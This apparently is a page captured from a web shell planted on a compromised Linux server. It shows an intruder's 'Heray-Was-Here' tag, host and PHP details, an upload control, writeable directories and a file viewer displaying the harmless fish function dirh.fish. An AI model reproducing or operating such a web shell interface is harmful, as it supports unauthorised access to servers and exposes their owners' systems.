Heray-Was-Here
Server : Apache
System : Linux vps43555.mylogin.co 3.10.0-1160.53.1.vz7.185.3 #1 SMP Tue Jan 25 12:49:12 MSK 2022 x86_64
User : redsea ( 60651)
PHP Version : 7.4.32
Disable Function : NONE
Directory :  /usr/share/fish/functions/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //usr/share/fish/functions/dirh.fish
function dirh --description "Print the current directory history (the back- and fwd- lists)"

	if count $argv >/dev/null
		switch $argv[1]
			case -h --h --he --hel --help
				__fish_print_help dirh
				return 0
		end
	end

	# Avoid set comment
	set -l current (command pwd)
	set -l separator "  "
	set -l line_len (math (count $dirprev) + (echo $dirprev $current $dirnext | wc -m) )
	if test $line_len -gt $COLUMNS
		# Print one entry per line if history is long
		set separator "\n"
	end

	for i in $dirprev
		echo -n -e $i$separator
	end

	set_color $fish_color_history_current
	echo -n -e $current$separator
	set_color normal

    # BSD seq 0 outputs '1 0' instead of nothing
    if count $dirnext > /dev/null
        for i in (seq (echo (count $dirnext)) -1 1)
            echo -n -e $dirnext[$i]$separator
        end
    end

	echo
end


Hry